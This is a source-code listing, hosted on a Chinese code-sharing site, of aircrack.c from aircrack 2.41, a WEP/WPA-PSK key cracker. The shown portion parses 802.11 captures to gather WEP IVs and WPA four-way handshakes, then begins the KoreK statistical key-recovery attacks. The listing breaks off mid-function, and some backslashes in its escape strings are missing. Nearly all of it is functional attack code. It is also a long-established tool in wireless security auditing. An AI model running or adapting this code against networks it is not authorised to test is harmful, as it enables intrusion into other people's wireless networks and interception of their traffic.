开通博客赚积分
发布资源赚积分
分类

源码开发语言/平台
当前位置：首页 > 源码/资料 > 其他 > 查看源码
aircrack.c
资源名称：1121aircrack-2.41.zip　[点击查看]
上传用户：fubang
上传日期：2009-06-18
资源大小：2071k
文件大小：74k
源码类别：

其他

开发平台：

Unix_Linux

aircrack.c：源码内容
  1. /*
  2.  *  802.11 40/104 bit WEP / WPA-PSK Key Cracker
  3.  *
  4.  *  Copyright (C) 2004,2005  Christophe Devine
  5.  *
  6.  *  Advanced WEP attacks developed by KoreK
  7.  *  WPA-PSK  attack code developed by Joshua Wright
  8.  *  SHA1 MMX assembly code written by Simon Marechal
  9.  *
  10.  *  This program is free software; you can redistribute it and/or modify
  11.  *  it under the terms of the GNU General Public License as published by
  12.  *  the Free Software Foundation; either version 2 of the License, or
  13.  *  (at your option) any later version.
  14.  *
  15.  *  This program is distributed in the hope that it will be useful,
  16.  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
  17.  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  18.  *  GNU General Public License for more details.
  19.  *
  20.  *  You should have received a copy of the GNU General Public License
  21.  *  along with this program; if not, write to the Free Software
  22.  *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  23.  */
  25. #include <sys/types.h>
  26. #include <sys/termios.h>
  27. #include <sys/ioctl.h>
  28. #include <sys/wait.h>
  29. #include <sys/stat.h>
  30. #include <sys/time.h>
  31. #include <pthread.h>
  32. #include <unistd.h>
  33. #include <signal.h>
  34. #include <string.h>
  35. #include <stdlib.h>
  36. #include <stdio.h>
  37. #include <fcntl.h>
  38. #include <errno.h>
  39. #include <time.h>
  41. #include "crypto.h"
  42. #include "pcap.h"
  43. #include "uniqueiv.c"
  45. #define SUCCESS  0
  46. #define FAILURE  1
  47. #define RESTART  2
  49. #ifndef O_BINARY
  50. #define O_BINARY 0
  51. #endif
  53. #define SWAP(x,y) { uchar tmp = x; x = y; y = tmp; }
  55. #ifdef __i386__
  57. extern int shammx_init( uchar ctx[40] )
  58.     __attribute__((regparm(1)));
  60. extern int shammx_ends( uchar ctx[40], uchar digests[40] )
  61.     __attribute__((regparm(2)));
  63. extern int shammx_data( uchar ctx[40], uchar data[128], uchar buf[640] )
  64.     __attribute__((regparm(3)));
  66. #endif
  68. #define BROADCAST "xFFxFFxFFxFFxFFxFF"
  70. static uchar ZERO[32] =
  71.     "x00x00x00x00x00x00x00x00"
  72.     "x00x00x00x00x00x00x00x00"
  73.     "x00x00x00x00x00x00x00x00"
  74.     "x00x00x00x00x00x00x00x00";
  76. struct options
  77. {
  78.     int amode;                  /* attack mode          */
  79.     int essid_set;              /* essid set flag       */
  80.     int bssid_set;              /* bssid set flag       */
  81.     char essid[33];             /* target ESSID         */
  82.     uchar bssid[6];             /* target BSSID         */
  83.     int nbcpu;                  /* # of cracker threads */
  84.     int is_quiet;               /* quiet mode flag      */
  86.     uchar debug[64];            /* user-defined WEP key */
  87.     uchar maddr[6];             /* MAC address filter   */
  88.     int keylen;                 /* WEP key length       */
  89.     int index;                  /* WEP key index        */
  90.     float ffact;                /* bruteforce factor    */
  91.     int korek;                  /* attack strategy      */
  92.     int is_alnum;               /* alphanum keyspace    */
  93.     int is_bcdonly;             /* binary coded decimal */
  94.     int do_brute;               /* bruteforce last 2    */
  95.     int do_testy;               /* experimental attack  */
  97.     FILE *dict;                 /* dictionary file      */
  98.     int no_stdin;               /* if dict == stdin     */
  100.     int l33t;                   /* no comment           */
  101. }
  102. opt;
  104. typedef struct { int idx, val; } vote;
  106. struct WEP_data
  107. {
  108.     uchar key[64];              /* the current chosen WEP key   */
  109.     uchar *ivbuf;               /* buffer holding all the IVs   */
  110.     int nb_aps;                 /* number of targeted APs       */
  111.     long nb_ivs;                /* # of unique IVs in buffer    */
  112.     long nb_ivs_now;            /* # of unique IVs available    */
  113.     int fudge[64];              /* bruteforce level (1 to 256)  */
  114.     int depth[64];              /* how deep we are in the fudge */
  115.     vote poll[64][256];         /* KoreK cryptanalysis results  */
  116. }
  117. wep;
  119. struct WPA_hdsk
  120. {
  121.     uchar stmac[6];             /* supplicant MAC               */
  122.     uchar snonce[32];           /* supplicant nonce             */
  123.     uchar anonce[32];           /* authenticator nonce          */
  124.     uchar keymic[16];           /* eapol frame MIC              */
  125.     uchar eapol[256];           /* eapol frame contents         */    
  126.     int eapol_size;             /* eapol frame size             */
  127.     int keyver;                 /* key version (TKIP / AES)     */
  128.     int state;                  /* handshake completion         */
  129. };
  131. struct AP_info
  132. {
  133.     struct AP_info *next;       /* next AP in linked list       */
  134.     uchar bssid[6];             /* access point MAC address     */
  135.     char essid[33];             /* access point identifier      */
  136.     uchar lanip[4];             /* IP address if unencrypted    */
  137.     uchar *ivbuf;               /* table holding WEP IV data    */
  138.     uchar **uiv_root;           /* IV uniqueness root struct    */
  139.     long ivbuf_size;            /* IV buffer allocated size     */
  140.     long nb_ivs;                /* total number of unique IVs   */
  141.     int crypt;                  /* encryption algorithm         */
  142.     int eapol;                  /* set if EAPOL is present      */
  143.     int target;                 /* flag set if AP is a target   */
  144.     struct ST_info *st_1st;     /* linked list of stations      */
  145.     struct WPA_hdsk wpa;        /* valid WPA handshake data     */
  146. };
  148. struct ST_info
  149. {
  150.     struct AP_info *ap;         /* parent AP                    */
  151.     struct ST_info *next;       /* next supplicant              */
  152.     struct WPA_hdsk wpa;        /* WPA handshake data           */
  153.     unsigned char stmac[6];     /* client MAC address           */
  154. };
  156. /* stats global data */
  158. struct timeval t_begin;         /* time at start of attack      */
  159. struct timeval t_stats;         /* time since last update       */
  160. struct timeval t_kprev;         /* time at start of window      */
  161. long long int nb_kprev;         /* last  # of keys tried        */
  162. long long int nb_tried;         /* total # of keys tried        */
  164. /* IPC global data */
  166. struct AP_info *ap_1st;         /* first item in linked list    */
  167. pthread_mutex_t mx_apl;         /* lock write access to ap LL   */
  168. pthread_mutex_t mx_eof;         /* lock write access to nb_eof  */
  169. pthread_cond_t  cv_eof;         /* read EOF condition variable  */
  170. int  nb_eof = 0;                /* # of threads who reached eof */
  171. long nb_pkt = 0;                /* # of packets read so far     */
  172. int mc_pipe[256][2];            /* master->child control pipe   */ 
  173. int cm_pipe[256][2];            /* child->master results pipe   */
  175. #define N_ATTACKS 17
  177. enum KoreK_attacks
  178. {
  179.     A_u15,                      /* semi-stable  15%             */
  180.     A_s13,                      /* stable       13%             */
  181.     A_u13_1,                    /* unstable     13%             */
  182.     A_u13_2,                    /* unstable ?   13%             */
  183.     A_u13_3,                    /* unstable ?   13%             */
  184.     A_s5_1,                     /* standard      5% (~FMS)      */
  185.     A_s5_2,                     /* other stable  5%             */
  186.     A_s5_3,                     /* other stable  5%             */
  187.     A_u5_1,                     /* unstable      5% no good ?   */
  188.     A_u5_2,                     /* unstable      5%             */
  189.     A_u5_3,                     /* unstable      5% no good     */
  190.     A_u5_4,                     /* unstable      5%             */
  191.     A_s3,                       /* stable        3%             */
  192.     A_4_s13,                    /* stable       13% on q = 4    */
  193.     A_4_u5_1,                   /* unstable      5% on q = 4    */
  194.     A_4_u5_2,                   /* unstable      5% on q = 4    */
  195.     A_neg                       /* helps reject false positives */
  196. };
  198. int K_COEFF[N_ATTACKS] =
  199. {
  200.     15, 13, 12, 12, 12, 5, 5, 5, 3, 4, 3, 4, 3, 13, 4, 4, -20
  201. };
  203. void eof_wait( int *eof_notified )
  204. {
  205.     if( *eof_notified == 0 )
  206.     {
  207.         *eof_notified = 1;
  209.         /* tell the master thread we reached EOF */
  211.         pthread_mutex_lock( &mx_eof );
  212.         nb_eof++;
  213.         pthread_cond_broadcast( &cv_eof );
  214.         pthread_mutex_unlock( &mx_eof );
  215.     }
  217.     usleep( 100000 );
  218. }
  220. /* fread isn't atomic, sadly */
  222. typedef struct
  223. {
  224.     int off1;
  225.     int off2;
  226.     void *buf1;
  227.     void *buf2;
  228. }
  229. read_buf;
  231. int atomic_read( read_buf *rb, int fd, int len, void *buf )
  232. {
  233.     int n;
  234.     
  235.     if( rb->buf1 == NULL )
  236.     {
  237.         rb->buf1 = malloc( 65536 );
  238.         rb->buf2 = malloc( 65536 );
  239.         
  240.         if( rb->buf1 == NULL || rb->buf2 == NULL )
  241.             return( 0 );
  242.             
  243.         rb->off1 = 0;
  244.         rb->off2 = 0;
  245.     }
  247.     if( len > 65536 - rb->off1 )
  248.     {
  249.         rb->off2 -= rb->off1;
  251.         memcpy( rb->buf2, rb->buf1 + rb->off1, rb->off2 );
  252.         memcpy( rb->buf1, rb->buf2, rb->off2 );
  254.         rb->off1 = 0;
  255.     }
  256.  
  257.     if( rb->off2 - rb->off1 >= len )
  258.     {
  259.         memcpy( buf, rb->buf1 + rb->off1, len );
  260.         rb->off1 += len;
  261.         return( 1 );
  262.     }
  263.     else
  264.     {
  265.         n = read( fd, rb->buf1 + rb->off2, 65536 - rb->off2 );
  267.         if( n <= 0 )
  268.             return( 0 );
  270.         rb->off2 += n;
  272.         if( rb->off2 - rb->off1 >= len )
  273.         {
  274.             memcpy( buf, rb->buf1 + rb->off1, len );
  275.             rb->off1 += len;
  276.             return( 1 );
  277.         }
  278.     }
  280.     return( 0 );
  281. }
  283. void read_thread( void *arg )
  284. {
  285.     int fd, n, z, fmt;
  286.     int eof_notified = 0;
  287.     read_buf rb;
  289.     uchar bssid[6];
  290.     uchar stmac[6];
  291.     uchar *buffer;
  292.     uchar *h80211;
  293.     uchar *p;
  295.     struct pcap_pkthdr pkh;
  296.     struct pcap_file_header pfh;
  297.     struct AP_info *ap_prv, *ap_cur;
  298.     struct ST_info *st_prv, *st_cur;
  300.     memset( &rb, 0, sizeof( rb ) );
  302.     if( ( buffer = (uchar *) malloc( 65536 ) ) == NULL )
  303.     {
  304.         /* there is no buffer */
  306.         perror( "malloc failed" );
  307.         goto read_fail;
  308.     }
  310.     h80211 = buffer;
  312.     if( ! opt.is_quiet )
  313.         printf( "Opening %sn", (char *) arg );
  315.     if( strcmp( arg, "-" ) == 0 )
  316.         fd = 0;
  317.     else
  318.     {
  319.         if( ( fd = open( (char *) arg, O_RDONLY | O_BINARY ) ) < 0 )
  320.         {
  321.             perror( "open failed" );
  322.             goto read_fail;
  323.         }
  324.     }
  326.     if( ! atomic_read( &rb, fd, 4, &pfh ) )
  327.     {
  328.         perror( "read(file header) failed" );
  329.         goto read_fail;
  330.     }
  332.     fmt = FORMAT_IVS;
  334.     if( memcmp( &pfh, IVSONLY_MAGIC, 4 ) != 0 )
  335.     {
  336.         fmt = FORMAT_CAP;
  338.         if( pfh.magic != TCPDUMP_MAGIC &&
  339.             pfh.magic != TCPDUMP_CIGAM )
  340.         {
  341.             fprintf( stderr, "Unsupported file format "
  342.                              "(not a pcap or IVs file).n" );
  343.             goto read_fail;
  344.         }
  346.         /* read the rest of the pcap file header */
  348.         if( ! atomic_read( &rb, fd, 20, (uchar *) &pfh + 4 ) )
  349.         {
  350.             perror( "read(file header) failed" );
  351.             goto read_fail;
  352.         }
  354.         /* take care of endian issues and check the link type */
  356.         if( pfh.magic == TCPDUMP_CIGAM )
  357.             SWAP32( pfh.linktype );
  359.         if( pfh.linktype != LINKTYPE_IEEE802_11 &&
  360.             pfh.linktype != LINKTYPE_PRISM_HEADER &&
  361.             pfh.linktype != LINKTYPE_RADIOTAP_HDR )
  362.         {
  363.             fprintf( stderr, "This file is not a regular "
  364.                              "802.11 (wireless) capture.n" );
  365.             goto read_fail;
  366.         }
  367.     }
  369.     /* avoid blocking on reading the file */
  371.     if( fcntl( fd, F_SETFL, O_NONBLOCK ) < 0 )
  372.     {
  373.         perror( "fcntl(O_NONBLOCK) failed" );
  374.         goto read_fail;
  375.     }
  377.     while( 1 )
  378.     {
  379.         if( fmt == FORMAT_IVS )
  380.         {
  381.             /* read one IV */
  383.             while( ! atomic_read( &rb, fd, 1, buffer ) )
  384.                 eof_wait( &eof_notified );
  386.             if( buffer[0] != 0xFF )
  387.             {
  388.                 /* new access point MAC */
  390.                 bssid[0] = buffer[0];
  392.                 while( ! atomic_read( &rb, fd, 5, bssid + 1 ) )
  393.                     eof_wait( &eof_notified );
  394.             }
  396.             while( ! atomic_read( &rb, fd, 5, buffer ) )
  397.                 eof_wait( &eof_notified );
  398.         }
  399.         else
  400.         {
  401.             while( ! atomic_read( &rb, fd, sizeof( pkh ), &pkh ) )
  402.                 eof_wait( &eof_notified );
  404.             if( pfh.magic == TCPDUMP_CIGAM )
  405.                 SWAP32( pkh.caplen );
  406.             
  407.             if( pkh.caplen <= 0 || pkh.caplen > 65535 )
  408.             {
  409.                 fprintf( stderr, "nInvalid packet capture length %d - "
  410.                                  "corrupted file?n", pkh.caplen );
  411.                 eof_wait( &eof_notified );
  412.                 _exit( FAILURE );
  413.             }
  415.             while( ! atomic_read( &rb, fd, pkh.caplen, buffer ) )
  416.                 eof_wait( &eof_notified );
  418.             h80211 = buffer;
  420.             if( pfh.linktype == LINKTYPE_PRISM_HEADER )
  421.             {
  422.                 /* remove the prism header */
  424.                 if( h80211[7] == 0x40 )
  425.                     n = 64;
  426.                 else
  427.                 {
  428.                     n = *(int *)( h80211 + 4 );
  430.                     if( pfh.magic == TCPDUMP_CIGAM )
  431.                         SWAP32( n );
  432.                 }
  434.                 if( n < 8 || n >= (int) pkh.caplen )
  435.                     continue;
  437.                 h80211 += n; pkh.caplen -= n;
  438.             }
  440.             if( pfh.linktype == LINKTYPE_RADIOTAP_HDR )
  441.             {
  442.                 /* remove the radiotap header */
  444.                 n = *(unsigned short *)( h80211 + 2 );
  446.                 if( n <= 0 || n >= (int) pkh.caplen )
  447.                     continue;
  449.                 h80211 += n; pkh.caplen -= n;
  450.             }
  451.         }
  453.         /* prevent concurrent access on the linked list */
  455.         pthread_mutex_lock( &mx_apl );
  457.         nb_pkt++;
  459.         if( fmt == FORMAT_CAP )
  460.         {
  461.             /* skip packets smaller than a 802.11 header */
  463.             if( pkh.caplen < 24 )
  464.                 goto unlock_mx_apl;
  466.             /* skip (uninteresting) control frames */
  468.             if( ( h80211[0] & 0x0C ) == 0x04 )
  469.                 goto unlock_mx_apl;
  471.             /* locate the access point's MAC address */
  473.             switch( h80211[1] & 3 )
  474.             {
  475.                 case  0: memcpy( bssid, h80211 + 16, 6 ); break;
  476.                 case  1: memcpy( bssid, h80211 +  4, 6 ); break;
  477.                 case  2: memcpy( bssid, h80211 + 10, 6 ); break;
  478.                 default: memcpy( bssid, h80211 +  4, 6 ); break;
  479.             }
  480.         }
  482.         if( memcmp( bssid, BROADCAST, 6 ) == 0 )
  483.             /* probe request or such - skip the packet */
  484.             goto unlock_mx_apl;
  486.         if( memcmp( opt.maddr, ZERO,      6 ) != 0 &&
  487.             memcmp( opt.maddr, BROADCAST, 6 ) != 0 )
  488.         {
  489.             /* apply the MAC filter */
  491.             if( memcmp( opt.maddr, h80211 +  4, 6 ) != 0 &&
  492.                 memcmp( opt.maddr, h80211 + 10, 6 ) != 0 &&
  493.                 memcmp( opt.maddr, h80211 + 16, 6 ) != 0 )
  494.                 goto unlock_mx_apl;
  495.         }
  497.         /* search the linked list */
  499.         ap_prv = NULL;
  500.         ap_cur = ap_1st;
  502.         while( ap_cur != NULL )
  503.         {
  504.             if( ! memcmp( ap_cur->bssid, bssid, 6 ) )
  505.                 break;
  507.             ap_prv = ap_cur;
  508.             ap_cur = ap_cur->next;
  509.         }
  511.         /* if it's a new access point, add it */
  513.         if( ap_cur == NULL )
  514.         {
  515.             if( ! ( ap_cur = (struct AP_info *) malloc(
  516.                              sizeof( struct AP_info ) ) ) )
  517.             {
  518.                 perror( "malloc failed" );
  519.                 break;
  520.             }
  522.             memset( ap_cur, 0, sizeof( struct AP_info ) );
  524.             if( ap_1st == NULL )
  525.                 ap_1st = ap_cur;
  526.             else
  527.                 ap_prv->next = ap_cur;
  529.             memcpy( ap_cur->bssid, bssid, 6 );
  531.             ap_cur->crypt = -1;
  532.         }
  534.         if( fmt == FORMAT_IVS )
  535.         {
  536.             ap_cur->crypt = 2;
  538. add_wep_iv:
  539.             /* check for uniqueness first */
  541.             if( ap_cur->nb_ivs == 0 )
  542.                 ap_cur->uiv_root = uniqueiv_init();
  544.             if( uniqueiv_check( ap_cur->uiv_root, buffer ) == 0 )
  545.             {
  546.                 /* add the IV & first two encrypted bytes */
  548.                 n = ap_cur->nb_ivs * 5;
  550.                 if( n + 5 > ap_cur->ivbuf_size )
  551.                 {
  552.                     /* enlarge the IVs buffer */
  554.                     ap_cur->ivbuf_size += 131072;
  555.                     ap_cur->ivbuf = (uchar *) realloc(
  556.                                     ap_cur->ivbuf, ap_cur->ivbuf_size );
  558.                     if( ap_cur->ivbuf == NULL )
  559.                     {
  560.                         perror( "remalloc failed" );
  561.                         break;
  562.                     }
  563.                 }
  565.                 memcpy( ap_cur->ivbuf + n, buffer, 5 );
  566.                 uniqueiv_mark( ap_cur->uiv_root, buffer );
  567.                 ap_cur->nb_ivs++;
  568.             }
  570.             goto unlock_mx_apl;
  571.         }
  573.         /* locate the station MAC in the 802.11 header */
  575.         st_cur = NULL;
  577.         switch( h80211[1] & 3 )
  578.         {
  579.             case  0: memcpy( stmac, h80211 + 10, 6 ); break;
  580.             case  1: memcpy( stmac, h80211 + 10, 6 ); break;
  581.             case  2:
  583.                 /* reject broadcast MACs */
  585.                 if( h80211[4] != 0 ) goto skip_station;
  586.                 memcpy( stmac, h80211 +  4, 6 ); break;
  588.             default: goto skip_station; break;
  589.         }
  591.         st_prv = NULL;
  592.         st_cur = ap_cur->st_1st;
  594.         while( st_cur != NULL )
  595.         {
  596.             if( ! memcmp( st_cur->stmac, stmac, 6 ) )
  597.                 break;
  599.             st_prv = st_cur;
  600.             st_cur = st_cur->next;
  601.         }
  603.         /* if it's a new supplicant, add it */
  605.         if( st_cur == NULL )
  606.         {
  607.             if( ! ( st_cur = (struct ST_info *) malloc(
  608.                              sizeof( struct ST_info ) ) ) )
  609.             {
  610.                 perror( "malloc failed" );
  611.                 break;
  612.             }
  614.             memset( st_cur, 0, sizeof( struct ST_info ) );
  616.             if( ap_cur->st_1st == NULL )
  617.                 ap_cur->st_1st = st_cur;
  618.             else
  619.                 st_prv->next = st_cur;
  621.             memcpy( st_cur->stmac, stmac, 6 );
  622.         }
  624. skip_station:
  626.         /* packet parsing: Beacon or Probe Response */
  628.         if( h80211[0] == 0x80 ||
  629.             h80211[0] == 0x50 )
  630.         {
  631.             if( ap_cur->crypt < 0 )
  632.                 ap_cur->crypt = ( h80211[34] & 0x10 ) >> 4;
  634.             p = h80211 + 36;
  636.             while( p < h80211 + pkh.caplen )
  637.             {
  638.                 if( p + 2 + p[1] > h80211 + pkh.caplen )
  639.                     break;
  641.                 if( p[0] == 0x00 && p[1] > 0 && p[2] != '' )
  642.                 {
  643.                     /* found a non-cloaked ESSID */
  645.                     n = ( p[1] > 32 ) ? 32 : p[1];
  647.                     memset( ap_cur->essid, 0, 33 ); 
  648.                     memcpy( ap_cur->essid, p + 2, n );
  649.                 }
  651.                 p += 2 + p[1];
  652.             }
  653.         }
  655.         /* packet parsing: Association Request */
  657.         if( h80211[0] == 0x00 )
  658.         {
  659.             p = h80211 + 28;
  661.             while( p < h80211 + pkh.caplen )
  662.             {
  663.                 if( p + 2 + p[1] > h80211 + pkh.caplen )
  664.                     break;
  666.                 if( p[0] == 0x00 && p[1] > 0 && p[2] != '' )
  667.                 {
  668.                     n = ( p[1] > 32 ) ? 32 : p[1];
  670.                     memset( ap_cur->essid, 0, 33 );
  671.                     memcpy( ap_cur->essid, p + 2, n );
  672.                 }
  674.                 p += 2 + p[1];
  675.             }
  676.         }
  678.         /* packet parsing: Association Response */
  680.         if( h80211[0] == 0x10 )
  681.         {
  682.             /* reset the WPA handshake state */
  684.             if( st_cur != NULL )
  685.                 st_cur->wpa.state = 0;
  686.         }
  688.         /* check if data */
  690.         if( ( h80211[0] & 0x0C ) != 0x08 )
  691.             goto unlock_mx_apl;
  693.         /* check minimum size */
  695.         z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
  697.         if( z + 16 > (int) pkh.caplen )
  698.             goto unlock_mx_apl;
  700.         /* check the SNAP header to see if data is encrypted */
  702.         if( h80211[z] != h80211[z + 1] || h80211[z + 2] != 0x03 )
  703.         {
  704.             ap_cur->crypt = 2;          /* encryption = WEP */
  706.             /* check the extended IV flag */
  708.             if( ( h80211[z + 3] & 0x20 ) != 0 )
  709.                 ap_cur->crypt = 3;      /* encryption = WPA */
  711.             /* check the WEP key index */
  713.             if( opt.index != 0 &&
  714.                 ( h80211[z + 3] >> 6 ) != opt.index - 1 )
  715.                 goto unlock_mx_apl;
  717.             /* save the IV & first two output bytes */
  719.             memcpy( buffer    , h80211 + z    , 3 );
  720.             memcpy( buffer + 3, h80211 + z + 4, 2 );
  722.             goto add_wep_iv;
  723.         }
  725.         if( ap_cur->crypt < 0 )
  726.             ap_cur->crypt = 0;      /* no encryption */
  728.         /* if ethertype == IPv4, find the LAN address */
  730.         z += 6;
  732.         if( z + 20 < (int) pkh.caplen )
  733.         {
  734.             if( h80211[z] == 0x08 && h80211[z + 1] == 0x00 &&
  735.                 ( h80211[1] & 3 ) == 0x01 )
  736.                     memcpy( ap_cur->lanip, &h80211[z + 14], 4 );
  738.             if( h80211[z] == 0x08 && h80211[z + 1] == 0x06 )
  739.                 memcpy( ap_cur->lanip, &h80211[z + 16], 4 );
  740.         }
  742.         /* check ethertype == EAPOL */
  744.         if( h80211[z] != 0x88 || h80211[z + 1] != 0x8E )
  745.             goto unlock_mx_apl;
  747.         z += 2;
  749.         ap_cur->eapol = 1;
  751.         /* type == 3 (key), desc. == 254 (WPA) or 2 (RSN) */
  753.         if( h80211[z + 1] != 0x03 ||
  754.             ( h80211[z + 4] != 0xFE && h80211[z + 4] != 0x02 ) )
  755.             goto unlock_mx_apl;
  757.         ap_cur->eapol = 0;
  758.         ap_cur->crypt = 3; /* set WPA */
  760.         if( st_cur == NULL )
  761.             continue;
  763.         /* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */
  765.         if( ( h80211[z + 6] & 0x08 ) != 0 &&
  766.             ( h80211[z + 6] & 0x40 ) == 0 &&
  767.             ( h80211[z + 6] & 0x80 ) != 0 &&
  768.             ( h80211[z + 5] & 0x01 ) == 0 )
  769.         {
  770.             memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 );
  772.             st_cur->wpa.state = 1;      /* authenticator nonce set */
  773.         }
  775.         /* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */
  777.         if( ( h80211[z + 6] & 0x08 ) != 0 &&
  778.             ( h80211[z + 6] & 0x40 ) == 0 &&
  779.             ( h80211[z + 6] & 0x80 ) == 0 &&
  780.             ( h80211[z + 5] & 0x01 ) != 0 )
  781.         {
  782.             if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 )
  783.             {
  784.                 memcpy( st_cur->wpa.snonce, &h80211[z + 17], 32 );
  786.                 st_cur->wpa.state |= 2; /* supplicant nonce set */
  787.             }
  788.         }
  790.         /* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */
  792.         if( ( h80211[z + 6] & 0x08 ) != 0 &&
  793.             ( h80211[z + 6] & 0x40 ) != 0 &&
  794.             ( h80211[z + 6] & 0x80 ) != 0 &&
  795.             ( h80211[z + 5] & 0x01 ) != 0 )
  796.         {
  797.             if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 )
  798.             {
  799.                 memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 );
  801.                 st_cur->wpa.state |= 4; /* authenticator nonce set */
  802.             }
  804.             /* copy the MIC & eapol frame */
  806.             st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 )
  807.                                    +   h80211[z + 3] + 4;
  809.             memcpy( st_cur->wpa.keymic, &h80211[z + 81], 16 );
  810.             memcpy( st_cur->wpa.eapol,  &h80211[z], st_cur->wpa.eapol_size );
  811.             memset( st_cur->wpa.eapol + 81, 0, 16 );
  813.             st_cur->wpa.state |= 8;     /* eapol frame & keymic set */
  815.             /* copy the key descriptor version */
  817.             st_cur->wpa.keyver = h80211[z + 6] & 7;
  818.         }
  820.         if( st_cur->wpa.state == 15 )
  821.         {
  822.             /* got one valid handshake */
  824.             memcpy( st_cur->wpa.stmac, stmac, 6 );
  825.             memcpy( &ap_cur->wpa, &st_cur->wpa,
  826.                     sizeof( struct WPA_hdsk ) );
  827.         }
  829. unlock_mx_apl:
  831.         pthread_mutex_unlock( &mx_apl );
  832.     }
  834. read_fail:
  836.     kill( 0, SIGTERM );
  837.     _exit( FAILURE );
  838. }
  840. /* timing routine */
  842. float chrono( struct timeval *start, int reset )
  843. {
  844.     float delta;
  845.     struct timeval current;
  847.     gettimeofday( &current, NULL );
  849.     delta = ( current.tv_sec  - start->tv_sec  ) + (float)
  850.             ( current.tv_usec - start->tv_usec ) / 1000000;
  852.     if( reset )
  853.         gettimeofday( start, NULL );
  855.     return( delta );
  856. }
  858. /* signal-safe I/O routines */
  860. int safe_read( int fd, void *buf, size_t len )
  861. {
  862.     int n;
  863.     size_t sum = 0;
  864.     char  *off = (char *) buf;
  866.     while( sum < len )
  867.     {
  868.         if( ! ( n = read( fd, (void *) off, len - sum ) ) )
  869.             return( 0 );
  871.         if( n < 0 && errno == EINTR ) continue;
  872.         if( n < 0 ) return( n );
  874.         sum += n;
  875.         off += n;
  876.     }
  878.     return( sum );
  879. }
  881. int safe_write( int fd, void *buf, size_t len )
  882. {
  883.     int n;
  884.     size_t sum = 0;
  885.     char  *off = (char *) buf;
  887.     while( sum < len )
  888.     {
  889.         if( ( n = write( fd, (void *) off, len - sum ) ) < 0 )
  890.         {
  891.             if( errno == EINTR ) continue;
  892.             return( n );
  893.         }
  895.         sum += n;
  896.         off += n;
  897.     }
  899.     return( sum );
  900. }
  902. /* each thread computes the votes over a subset of the IVs */
  904. int crack_wep_thread( void *arg )
  905. {
  906.     long xv, min, max;
  907.     uchar R[256], jj[256];
  908.     uchar S[256], Si[256];
  909.     uchar K[64];
  911.     uchar io1, o1, io2, o2;
  912.     uchar Sq, dq, Kq, jq, q;
  913.     uchar S1, S2, J2, t2;
  915.     int i, j, B, cid = (long) arg;
  916.     int votes[N_ATTACKS][256];
  918.     for( i = 0; i < 256; i++ )
  919.         R[i] = i;
  921.     while( 1 )
  922.     {
  923.         if( safe_read( mc_pipe[cid][0], (void *) &B,
  924.                 sizeof( int ) ) != sizeof( int ) )
  925.         {
  926.             perror( "read failed" );
  927.             kill( 0, SIGTERM );
  928.             _exit( FAILURE );
  929.         }
  931.         min = 5 * ( ( (     cid ) * wep.nb_ivs ) / opt.nbcpu );
  932.         max = 5 * ( ( ( 1 + cid ) * wep.nb_ivs ) / opt.nbcpu );
  934.         q = 3 + B;
  936.         memcpy( K + 3, wep.key, B );
  937.         memset( votes, 0, sizeof( votes ) );
  939.         /* START: KoreK attacks */
  941.         for( xv = min; xv < max; xv += 5 )
  942.         {
  943.             memcpy( K, &wep.ivbuf[xv], 3 );
  944.             memcpy( S,  R, 256 );
  945.             memcpy( Si, R, 256 );
  947.             for( i = j = 0; i < q; i++ )
  948.             {
  949.                 jj[i] = j = ( j + S[i] + K[i % (3 + opt.keylen)] ) & 0xFF;
  950.                 SWAP( S[i], S[j] );
  951.             }
  953.             i = q; do { i--; SWAP(Si[i],Si[jj[i]]); } while( i != 0 );
  955.             o1 = wep.ivbuf[xv + 3] ^ 0xAA; io1 = Si[o1]; S1 = S[1];
  956.             o2 = wep.ivbuf[xv + 4] ^ 0xAA; io2 = Si[o2]; S2 = S[2];
  957.             Sq = S[q]; dq = Sq + jj[q - 1];
  959.             if( S2 == 0 )
  960.             {
  961.                 if( ( S1 == 2 ) && ( o1 == 2 ) )
  962.                 {
  963.                     Kq = 1 - dq; votes[A_neg][Kq]++;
  964.                     Kq = 2 - dq; votes[A_neg][Kq]++;
  965.                 }
  966.                 else if( o2 == 0 )
  967.                 {
  968.                     Kq = 2 - dq; votes[A_neg][Kq]++;
  969.                 }
  970.             }
  971.             else
  972.             {
  973.                 if( ( o2 == 0 ) && ( Sq == 0 ) )
  974.                 {
  975.                     Kq = 2 - dq; votes[A_u15][Kq]++;
  976.                 }
  977.             }
  979.             if( ( S1 == 1 ) && ( o1 == S2 ) )
  980.             {
  981.                 Kq = 1 - dq; votes[A_neg][Kq]++;
  982.                 Kq = 2 - dq; votes[A_neg][Kq]++;
  983.             }
  985.             if( ( S1 == 0 ) && ( S[0] == 1 ) && ( o1 == 1 ) )
  986.             {
  987.                 Kq = 0 - dq; votes[A_neg][Kq]++;
  988.                 Kq = 1 - dq; votes[A_neg][Kq]++;
  989.             }
  991.             if( S1 == q )
  992.             {
  993.                 if( o1 == q )
  994.                 {
  995.                     Kq = Si[0] - dq; votes[A_s13][Kq]++;
  996.                 }
  997.                 else if( ( ( 1 - q - o1 ) & 0xFF ) == 0 )
  998.                 {
  999.                     Kq = io1 - dq; votes[A_u13_1][Kq]++;
  1000.                 }
  1001.                 else if( io1 < q )
  1002.                 {
  1003.                     jq = Si[( io1 - q ) & 0xFF];
  1005.                     if( jq != 1 )
  1006.                     {
  1007.                         Kq = jq - dq; votes[A_u5_1][Kq]++;
  1008.                     }
  1009.                 }
  1010.             }
  1012.             if( ( io1 == 2 ) && ( S[q] == 1 ) )
  1013.             {
  1014.                 Kq = 1 - dq; votes[A_u5_2][Kq]++;
  1015.             }
  1017.             if( S[q] == q )
  1018.             {
  1019.                 if( ( S1 == 0 ) && ( o1 == q ) )
  1020.                 {
  1021.                     Kq = 1 - dq; votes[A_u13_2][Kq]++;
  1022.                 }
  1023.                 else if( ( ( ( 1 - q - S1 ) & 0xFF ) == 0 ) && ( o1 == S1 ) )
  1024.                 {
